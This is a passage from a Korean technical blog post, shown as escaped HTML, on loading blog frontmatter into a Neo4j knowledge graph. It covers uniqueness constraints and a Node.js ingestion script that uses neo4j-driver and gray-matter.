&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; tag_name IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; series_name IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; category_slug IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Category&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; author_name IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Author&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CONSTRAINT&lt;/span&gt; external_url IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ExternalResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REQUIRE&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url &lt;span class=&quot;token keyword&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;제약을 먼저 거는 이유는 &lt;strong&gt;중복 적재를 막기 위해서&lt;/strong&gt;입니다. MERGE 절이 식별자로 매칭하기 때문에, 제약 없이 적재하면 같은 태그가 여러 번 생기는 사고가 납니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;인덱스는 Unique constraint 생성 시 자동으로 따라오므로 별도로 만들 필요 없습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;블로그 글에서 데이터 뽑아내기&lt;/h2&gt;
&lt;p&gt;이제 &lt;code class=&quot;language-text&quot;&gt;contents/posts/**/index.md&lt;/code&gt;를 파싱해 그래프에 적재합니다. &lt;strong&gt;이번 편에서는 frontmatter 기반 추출만&lt;/strong&gt; 합니다. 본문 인용·관련글 같은 깊은 관계는 4편에서 LLM으로 자동 추출할 예정이에요.&lt;/p&gt;
&lt;p&gt;frontmatter 예시(이 시리즈 1편)는 이런 모양입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;온톨로지 기반 검색이란? — 벡터 검색만으로 부족했던 이유&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 2026&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;05&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;20 09&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;00&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-05-20&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;온톨로지로 똑똑한 검색 만들기&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 온톨로지
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; 지식 그래프
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; GraphRAG
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; RAG
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; LLM 검색&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 뽑을 수 있는 정보:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Post&lt;/strong&gt;: title, description, publishedAt, updatedAt, slug(폴더명), seriesOrder(파일경로에서)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tag&lt;/strong&gt;: tags 배열&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Series&lt;/strong&gt;: series 문자열&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category&lt;/strong&gt;: 경로 첫 segment (&lt;code class=&quot;language-text&quot;&gt;ai&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;claude-code&lt;/code&gt;, …)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author&lt;/strong&gt;: 일단 &quot;자바파커&quot; 하드코딩&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;본문에서 추출하면 좋을 것들(이번 편 범위 밖):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;외부 인용 → 마크다운 링크 파싱 → ExternalResource·cites&lt;/li&gt;
&lt;li&gt;관련글 → 본문 의미 분석 → relatedTo (4편에서 LLM 사용)&lt;/li&gt;
&lt;li&gt;선수글 → 별도 frontmatter 필드 도입 검토&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;적재 스크립트 — Node.js + neo4j-driver&lt;/h2&gt;
&lt;p&gt;블로그가 Gatsby 기반이라 Node 환경이 이미 있어, 같은 환경에서 스크립트를 작성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; --save-dev neo4j-driver gray-matter glob&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;scripts/ingest-graph.mjs&lt;/code&gt;를 만듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; neo4j &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;neo4j-driver&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; matter &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gray-matter&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; globSync &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;glob&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; fs &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node:fs&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; path &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node:path&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; driver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; neo4j&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;bolt://localhost:7687&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  neo4j&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;basic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;neo4j&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;please-change-me&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;AUTHOR&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;자바파커&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://blog.javapark.kr&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parsePost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;filePath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; raw &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;readFileSync&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;filePath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;matter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;raw&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rel &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;relative&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;contents/posts&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filePath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; segments &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rel&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sep&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; category &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; segments&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; slug &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; segments&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;publishedAt&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;updatedAt&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;date&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;series &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tags &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    category&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ingest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeWrite&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;tx&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Post 노드&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (p:Post {slug: $slug})
       SET p.title = $title, p.description = $description,
           p.publishedAt = datetime($publishedAt),
           p.updatedAt = datetime($updatedAt)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      post
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Author&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (a:Author {name: $name}) SET a.url = $url
       WITH a
       MATCH (p:Post {slug: $slug})
       MERGE (p)-[:WRITTEN_BY]-&gt;(a)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;AUTHOR&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Category&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (c:Category {slug: $category})
       WITH c
       MATCH (p:Post {slug: $slug})
       MERGE (p)-[:IN_CATEGORY]-&gt;(c)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Tags&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; name &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tags&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (t:Tag {name: $name})
         WITH t
         MATCH (p:Post {slug: $slug})
         MERGE (p)-[:HAS_TAG]-&gt;(t)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Series (옵션)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;series&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (s:Series {name: $series})
         WITH s
         MATCH (p:Post {slug: $slug})
         MERGE (p)-[:BELONGS_TO_SERIES]-&gt;(s)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
